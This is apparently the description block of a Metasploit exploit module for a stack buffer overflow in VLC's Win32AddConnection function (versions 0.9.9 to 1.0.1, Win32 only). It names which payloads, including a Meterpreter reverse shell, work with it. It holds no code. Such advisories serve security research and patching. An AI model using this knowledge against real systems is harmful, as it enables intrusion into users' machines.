          This module exploits a stack-based buffer overflow in the Win32AddConnection
        function of the VideoLAN VLC media player. Versions 0.9.9 through 1.0.1 are
        reportedly affected.

        This vulnerability is only present in Win32 builds of VLC.

        This payload was found to work with the windows/exec and
        windows/meterpreter/reverse_tcp payloads. However, the
        windows/meterpreter/reverse_ord_tcp was found not to work.
